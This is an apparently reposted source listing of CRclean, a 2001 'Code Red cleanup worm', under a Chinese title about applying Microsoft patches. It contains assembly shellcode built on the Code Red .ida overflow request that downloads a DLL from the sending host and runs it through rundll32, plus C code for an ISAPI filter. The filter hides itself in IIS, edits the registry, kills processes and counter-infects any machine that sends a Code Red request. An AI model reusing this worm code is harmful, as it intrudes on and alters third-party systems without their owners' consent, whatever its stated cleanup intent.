打微软补丁的一份代码收藏
;
; CRclean.asm
; by Markus Kern <markus-kern@gmx.net>
; 06.08.2001
;
; downloads CRclean.dll from sender and executes it using rundll32.exe
; then calls ExitProcess() on success or sleeps forever on failure
;
.386p
.model flat
.code
assume fs:nothing
db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'
db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'
db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'
db 'the-destination-host-is-infected-with-Code-Red--------------'
db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'
db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'
db 'f%u0078%u0000%u00=a HTTP/1.0',0Dh,0Ah
db 'Content-type: text/xml',0Ah
db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah
; execution starts here with slightly modified Code Red v1 code
; finds GetProcAddress and kernel32.dll base
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
lea edi, [ebp-218h]
mov ecx, 86h
mov eax, 0CCCCCCCCh
rep stosd
mov [ebp-190h], dword ptr 0
lea edi, [ebp-110h]
mov eax, dword ptr fs:0
mov [edi+8], eax
mov dword ptr fs:0, edi
mov dword ptr [ebp-110h], 0FFFFFFFFh
mov dword ptr [ebp-1A8h],77E00000h
RVA_1:
cmp dword ptr [ebp-190h], 0
jnz RVA_5
mov ecx, [ebp-1A8h]
add ecx, 10000h
mov [ebp-1A8h], ecx
cmp dword ptr [ebp-1A8h],78000000h
jnz short RVA_2
mov dword ptr [ebp-1A8h],0BFF00000h
RVA_2:
mov edx, [ebp-1A8h]
xor eax, eax
mov ax, [edx]
cmp eax, 5A4Dh
jnz RVA_1
mov ecx, [ebp-1A8h]
mov edx, [ecx+3Ch]
mov eax, [ebp-1A8h]
xor ecx, ecx
mov cx, [eax+edx]
cmp ecx, 4550h
jnz RVA_1
mov edx, [ebp-1A8h]
mov eax, [edx+3Ch]
mov ecx, [ebp-1A8h]
mov edx, [ecx+eax+78h]
add edx, [ebp-1A8h]
mov [ebp-1ACh], edx
mov eax, [ebp-1ACh]
mov ecx, [eax+0Ch]
add ecx, [ebp-1A8h]
mov [ebp-1B4h], ecx
mov edx, [ebp-1B4h]
cmp dword ptr [edx], 4E52454Bh
jnz RVA_1
mov eax, [ebp-1B4h]
cmp dword ptr [eax+4], 32334C45h
jnz RVA_1
mov ecx, [ebp-1A8h]
mov [ebp-1CCh], ecx
mov edx, [ebp-1ACh]
mov eax, [ebp-1A8h]
add eax, [edx+20h]
mov [ebp-1B4h], eax
mov dword ptr [ebp-1B8h], 0
jmp short RVA_4
RVA_3:
mov ecx, [ebp-1B8h]
add ecx, 1
mov [ebp-1B8h], ecx
mov edx, [ebp-1B4h]
add edx, 4
mov [ebp-1B4h], edx
RVA_4:
mov eax, [ebp-1ACh]
mov ecx, [ebp-1B8h]
cmp ecx, [eax+18h]
jge RVA_1
mov edx, [ebp-1B4h]
mov eax, [edx]
mov ecx, [ebp-1A8h]
cmp dword ptr [ecx+eax], 50746547h
jnz RVA_3
mov edx, [ebp-1B4h]
mov eax, [edx]
mov ecx, [ebp-1A8h]
cmp dword ptr [ecx+eax+4], 41636F72h
jnz RVA_3
mov edx, [ebp-1B8h]
add edx, [ebp-1B8h]
add edx, [ebp-1A8h]
mov eax, [ebp-1ACh]
mov ecx, [eax+24h]
xor eax, eax
mov ax, [edx+ecx]
mov [ebp-1B4h], eax
mov ecx, [ebp-1ACh]
mov edx, [ecx+10h]
mov eax, [ebp-1B4h]
lea ecx, [eax+edx-1]
mov [ebp-1B4h], ecx
mov edx, [ebp-1B4h]
add edx, [ebp-1B4h]
add edx, [ebp-1B4h]
add edx, [ebp-1B4h]
add edx, [ebp-1A8h]
mov eax, [ebp-1ACh]
mov ecx, [eax+1Ch]
mov edx, [edx+ecx]
mov [ebp-1B4h], edx
mov eax, [ebp-1B4h]
add eax, [ebp-1A8h]
mov [ebp-190h], eax
jmp RVA_1
RVA_5:
lea edi, [ebp-110h]
mov eax, [edi+8]
mov dword ptr fs:0, eax
; end of Code Red code
call GET_DATA_START
d1 db 'c:/CRclean.dll',0
d2 db 'http://123.123.123.123/CRclean.dll',0 ; ip filled in by ISAPI filter
d3 db 'LoadLibraryA',0
d4 db 'urlmon.dll',0
d5 db 'GetFileAttributesA',0
d6 db 'URLDownloadToFileA',0
d7 db 'WinExec',0
d8 db 'rundll32 c:/CRclean.dll,Run',0
d9 db 'Sleep',0
d10 db 'ExitProcess',0
FilePath equ 0
Url equ d2-d1
LoadLibStr equ d3-d1
UrlMonStr equ d4-d1
GetFileAttrStr equ d5-d1
URLDownloadStr equ d6-d1
WinExecStr equ d7-d1
RundllStr equ d8-d1
SleepStr equ d9-d1
ExitProcStr equ d10-d1
GET_DATA_START:
pop esi ; start of our data
; get address of GetFileAttributesA
mov edi, esi
add edi, GetFileAttrStr
push edi
push dword ptr [ebp-1CCh] ; kernel32.dll handle
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
push eax
; get address of LoadLibraryA
mov edi, esi
add edi, LoadLibStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
; load urlmon.dll
mov edi, esi
add edi, UrlMonStr
push edi
call eax ; call LoadLibraryA
or eax, eax
jz SLEEP
; get address of URLDownloadToFileA
mov edi, esi
add edi, URLDownloadStr
push edi
push eax ; urlmon.dll handle
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
mov ebx, eax
DL_FILE:
; check if file is already there
pop eax ; get GetFileAttributesA address
push eax
mov edi, esi
add edi, FilePath
push edi
call eax ; call GetFileAttributesA
cmp eax, 0FFFFFFFFh
jne SLEEP ; we've been here before, the dll is prolly preparing IIS restart
; we sleep till we get terminated
; call URLDownloadToFileA
push 0
push 0
mov edi, esi
add edi, FilePath
push edi
mov edi, esi
add edi, Url
push edi
push 0
call ebx ; call URLDownloadToFileA
; check if file made it to the disk
pop eax ; get GetFileAttributesA address
push eax
mov edi, esi
add edi, FilePath
push edi
call eax ; call GetFileAttributesA
cmp eax, 0FFFFFFFFh
jne DL_SUCCESS
; if we just tried c: try d: now
mov edi, esi
add edi, FilePath
cmp byte ptr [edi], 'd'
je SLEEP ; neither c: nor d: did work
; set drive letter to 'd'
mov byte ptr [edi], 'd'
mov edi, esi
add edi, RundllStr+9
mov byte ptr [edi], 'd' ; change Runddll string too
jmp DL_FILE
DL_SUCCESS:
; get address of WinExec
mov edi, esi
add edi, WinExecStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
; call WinExec
push 0 ; SW_HIDE
mov edi, esi
mov edi, esi
add edi, RundllStr
push edi
call eax
cmp eax, 31
jl SLEEP
; get address of ExitProcess
mov edi, esi
add edi, ExitProcStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
; call ExitProcess
push 0
call eax ; terminate inetinfo.exe, on windows 2000 it will be
; restarted but we get rid of all running Code Reds
SLEEP:
; get address of Sleep
mov edi, esi
add edi, SleepStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz FATAL_ERROR ; ok, we tried our best to save cpu cycles
; call Sleep
push 0FFFFFFFFh
call eax ; sleep forever
FATAL_ERROR:
jmp FATAL_ERROR
db 'end of file'
END
/*
*
* "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered
*
* CRclean.c
* by Markus Kern <markus-kern@gmx.net>
* 06.08.2001
*
* if called by rundll32:
* downloads and executes Q300972 patch from Microsoft
* removes _original_ Code Red II backdoors
* copies dll to wwwroot
* adds dll to ISAPI filter list
* restarts IIS
*
* if loaded into IIS:
* removes itself from system on IIS shutdown if it's november 2001 or later
* responds to every Code Red exploit attempt by closing the connection and infecting the attacking host
*
* the dll can be removed manually using "rundll32 CRclean.dll,Remove"
*
*/
#define INITGUID
#include <winsock.h>
#include <httpfilt.h> // ISAPI
#include <iadmw.h> // metabase
#define OUR_FILE_NAME "CRclean.dll"
#define EXPLOIT_URL_OFFSET 0x1B9
HANDLE hExploitMutex;
unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";
int IsWin2k = 1;
int NumberOfThreads; // prevent clients from DoSing us
// urlmon.dll
HINSTANCE hUrlMonDll = NULL;
HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;
// psapi.dll
HINSTANCE hPsApiDll = NULL;
BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;
BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;
DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;
DWORD WINAPI InfectThread(void* pData);
void RemoveFilter();
int ApplyPatch();
void RemoveCRII();
void RestartIIS();
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);
// dll entry point, duh
BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved)
{
return TRUE;
}
// called by IIS on initialization
BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)
{
pVer->dwFilterVersion = HTTP_FILTER_REVISION;
lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");
pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;
NumberOfThreads = 0;
// mutex to serialize access to exploit code and inet_ntoa() function
hExploitMutex = CreateMutex(NULL,FALSE,NULL);
// delete original copy of dll
DeleteFile("c://"OUR_FILE_NAME);
DeleteFile("d://"OUR_FILE_NAME);
return TRUE;
}
// called by IIS on shutdown
BOOL _export WINAPI TerminateFilter(DWORD dwFlags)
{
SYSTEMTIME st;
// remove us from system if it's november 2001 or later
GetSystemTime(&st);
if(st.wYear > 2001 || st.wMonth >= 11)
RemoveFilter();
return TRUE;
}
// called by IIS for every http request
DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)
{
char *buf;
DWORD size,ThreadID;
int i;
if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {
// get url length
size = 0;
((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);
// no problem if that short
if(size > 200) {
// alloc buffer, MSDN says this is freeed automatically by IIS
if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {
// get url
if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {
// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter
for(i=0;i<(size-200)&&buf[i]!='?';i++);
if(buf[i] == '?' && buf[i-4] == '.' &&
(buf[i-3] == 'i' || buf[i-3] == 'I') &&
(buf[i-2] == 'd' || buf[i-2] == 'D') &&
(buf[i-1] == 'a' || buf[i-1] == 'A'))
{
// get client ip and run thread to infect client
size = 32;
if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {
NumberOfThreads++;
CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);
}
// disconnect client, sizeof(buf) is at least 200
lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");
size = 64;
pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);
lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");
size = lstrlen(buf);
pfc->WriteClient(pfc,buf,&size,0);
return SF_STATUS_REQ_FINISHED;
}
}
}
}
pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);
}
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
// infects ip passed in pData
DWORD WINAPI InfectThread(void* pData)
{
SOCKET Sock;
SOCKADDR_IN Addr;
int AddrSize;
fd_set wfd;
struct timeval tv;
unsigned long nonblock;
char *buf;
Addr.sin_family = AF_INET;
Addr.sin_port = htons(80);
Addr.sin_addr.s_addr = (unsigned long)pData;
if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {
// make socket non-blocking
nonblock = 1;
ioctlsocket(Sock,FIONBIO,&nonblock);
// connect
connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));
if(WSAGetLastError() == WSAEWOULDBLOCK) {
FD_ZERO(&wfd);
FD_SET(Sock,&wfd);
tv.tv_sec = 20;
tv.tv_usec = 0;
if(select(0,0,&wfd,0,&tv)) {
// make socket blocking
nonblock = 0;
ioctlsocket(Sock,FIONBIO,&nonblock);
// get local ip used for connection
AddrSize = sizeof(Addr);
if(getsockname(Sock,&Addr,&AddrSize) == 0) {
WaitForSingleObject(hExploitMutex,INFINITE);
if((buf = inet_ntoa(Addr.sin_addr)) != 0) {
wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);
send(Sock,ExploitCode,sizeof(ExploitCode),0);
}
ReleaseMutex(hExploitMutex);
Sleep(2000);
}
}
closesocket(Sock);
}
}
NumberOfThreads--;
return 0;
}
// called by exploit code via rundll32.exe
// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called
void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
OSVERSIONINFO osvi;
HKEY hKey;
char *WebRootPath = NULL,*buf;
char ModulePath[MAX_PATH];
DWORD size;
int i;
// determine OS
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)
IsWin2k = 0;
// load DLLs we need
if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {
pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");
}
// we don't have psapi.dll on NT thus FindProcess() won't work
if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {
pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");
pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");
pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");
}
// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)
ApplyPatch();
// remove backdoors created by Code Red II, won't hurt if we do this on NT too
RemoveCRII();
// get web root
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
for(i=0;i<size&&WebRootPath[i]!=',';i++);
lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
}
}
}
RegCloseKey(hKey);
}
// prepare for spreading if we've found the web root
if(WebRootPath) {
// copy us to webroot for distribution
lstrcpy(ModulePath,"c://");
lstrcat(ModulePath,OUR_FILE_NAME);
if(!CopyFile(ModulePath,WebRootPath,TRUE)) {
ModulePath[0] = 'e';
if(!CopyFile(ModulePath,WebRootPath,TRUE))
ModulePath[0] = 0;
}
if(ModulePath[0] != 0) {
// add us to ISAPI filter list if copy was successful
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
if(size <= 2) {
lstrcpy(buf,WebRootPath);
} else if(buf[size-2] == ',') {
lstrcat(buf,WebRootPath);
} else {
lstrcat(buf,",");
lstrcat(buf,WebRootPath);
}
RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
}
LocalFree(buf);
}
} else {
// RegQueryValueEx() failed, the value probably doesn't exist, we create it
RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);
}
RegCloseKey(hKey);
}
}
LocalFree(WebRootPath);
}
// restart IIS to get rid of our own and any Code Red code still running in IIS's address space
// IIS will load our ISAPI filter on restart
RestartIIS();
// unload DLLs before we leave
if(hUrlMonDll)
FreeLibrary(hUrlMonDll);
if(hPsApiDll)
FreeLibrary(hPsApiDll);
return;
}
// what can I say? it's here because it wasn't much effort
void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
RemoveFilter();
if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n"
"Reinstalling the entire system is strongly recommended!/r/n"
"Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES)
{
RestartIIS();
}
return;
}
// removes us from ISAPI filter list
void RemoveFilter()
{
HKEY hKey;
char *WebRootPath = NULL,*buf,*p,*s;
DWORD size;
int i;
// get web root
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
for(i=0;i<size&&WebRootPath[i]!=',';i++);
lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
}
}
}
RegCloseKey(hKey);
}
if(WebRootPath) {
// remove us from IIS's ISAPI filter list
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
if(size >= lstrlen(WebRootPath)) { // can't be our string if shorter than WebRootPath
if((buf = (char*)LocalAlloc(0,size+16)) != 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
// do a case insesitive compare
CharLower(WebRootPath);
CharLower(buf);
// search for WebRootPath
for(i=0;i<=size-lstrlen(WebRootPath);i++) {
for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);
if(*s == 0) { // match
if(lstrlen(buf) == lstrlen(WebRootPath))
buf[0] = 0;
else if(i == 0)
lstrcpy(buf,p+1); // +1 for comma after WebRootPath
else
lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath
break;
}
}
RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
}
LocalFree(buf);
}
}
}
RegCloseKey(hKey);
}
// delete this file on next reboot
MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
LocalFree(WebRootPath);
}
return;
}
// downloads Q300972 from microsoft and runs it
int ApplyPatch()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProc;
LANGID LangID;
char Url[256],Path[MAX_PATH];
int i;
LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,
LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };
char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB",
"JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };
LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,
LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,
LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,
LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };
char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no",
"pl","pt","ru","es","sv","tr" };
// prepare download url
LangID = GetSystemDefaultLangID();
lstrcpy(Url,"http://download.microsoft.com/download/");
// win 2k
if(IsWin2k) {
lstrcat(Url,"win2000platform/patch/q300972/nt5/");
for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);
if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
i++;
if(i < 22)
wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);
else // use US as default
lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");
// win nt
} else {
lstrcat(Url,"winntsp/patch/q300972/nt4/");
for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);
if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
i++;
if(i < 13)
lstrcat(Url,NtLangStr[i]);
else // use US as default
lstrcat(Url,"en-us/");
lstrcat(Url,"Q300972i.exe");
}
// download and execute patch
if(pURLDownloadToCacheFile) {
if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {
for(i=0;i<sizeof(si);i++)
((unsigned char*)&si)[i] = 0;
si.cb = sizeof(si);
// run patch
if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π)) {
if(IsWin2k) {
// wait 3 mins for hotfix to install
Sleep(3*60*1000);
// patch either displays message box informing about successfull install or an error message
// user can't see this message box, we kill hotfix.exe in either case
// the process we created above cleans up all the temp files when hotfix.exe terminates
if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {
TerminateProcess(hProc,0);
CloseHandle(hProc);
// wait till we can delete downloaded file
WaitForSingleObject(pi.hProcess,3*60*1000);
DeleteFile(Path);
}
} else {
// on NT we just let the hotfix run, luser will click OK eventually
// restarting IIS is enough to activate the new idq.dll, no need to reboot
}
CloseHandle(pi.hProcess);
return 0;
}
}
}
return 1;
}
// removes Code Red II backdoors
void RemoveCRII()
{
DWORD size;
HANDLE hProc;
HKEY hKey;
IMSAdminBaseW *Meta;
METADATA_HANDLE hMetaKey;
char Path[MAX_PATH];
// search and destroy trojan explorer.exe
if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {
TerminateProcess(hProc,0);
WaitForSingleObject(hProc,10*1000);
CloseHandle(hProc);
}
if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {
TerminateProcess(hProc,0);
WaitForSingleObject(hProc,10*1000);
CloseHandle(hProc);
}
// delete explorer trojan, need to remove readonly attribute for DeleteFile() to work
SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);
DeleteFile("c://explorer.exe");
SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);
DeleteFile("d://explorer.exe");
// remove cmd.exe backdoors
DeleteFile("c://inetpub//scripts//root.exe");
DeleteFile("d://inetpub//scripts//root.exe");
DeleteFile("c://progra~1//common~1//system//msadc//root.exe");
DeleteFile("d://progra~1//common~1//system//msadc//root.exe");
// reenable file protection
// we probably need to reboot to activate the change, user will do this for us on next OS crash
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {
size = 0;
RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));
RegCloseKey(hKey);
}
// clean up registry
// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase
// and restores changes of already present registry values from this metabase on restart
// means we must delete /C and /D from the metabase
// the /scripts and /msadc changes apparently never made it there and the corresponding registry values
// have probably been restored by IIS after CRII's reboot
// there're days I'm very glad I don't have to think the way Microsoft engineers do
CoInitialize(NULL);
if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {
MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);
if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {
Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00"); // unicode
Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");
Meta->lpVtbl->CloseKey(Meta,hMetaKey);
}
Meta->lpVtbl->Release(Meta);
}
CoUninitialize();
// must do this to prevent IIS from copying it back into metabase on restart
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {
RegDeleteValue(hKey,"/C");
RegDeleteValue(hKey,"/D");
RegCloseKey(hKey);
}
return;
}
// restarts IIS
void RestartIIS()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
SC_HANDLE hManager,hSvc;
SERVICE_STATUS SvcStat;
int i;
if(IsWin2k) {
// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines
for(i=0;i<sizeof(si);i++)
((unsigned char*)&si)[i] = 0;
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE; // don't scare the clueless
si.dwFlags = STARTF_USESHOWWINDOW;
CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,π);
} else {
// we don't have iisreset.exe on NT
if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {
if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {
// stop iis
ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);
// wait till shutdown completed
ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);
for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {
Sleep(1000);
QueryServiceStatus(hSvc,&SvcStat);
}
// and restart it
StartService(hSvc,0,NULL);
CloseServiceHandle(hSvc);
}
CloseServiceHandle(hManager);
}
}
return;
}
// searches process list for ProcessToFind
// caller is responsible for closing returned handle
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName)
{
DWORD ProcList[1024],size,msize;
HANDLE hProc;
HMODULE hMod;
char Path[MAX_PATH];
int i;
// search for process
if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {
if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))
for(i=0;i<size/sizeof(DWORD);i++)
if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {
if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))
if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))
if(OnlyCompareFileName) {
if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)
return hProc;
} else {
if(lstrcmpi(Path,ProcessToFind) == 0)
return hProc;
}
CloseHandle(hProc);
}
}
return NULL;
}
打微软补丁的一份代码收藏
最新推荐文章于 2020-11-23 15:50:37 发布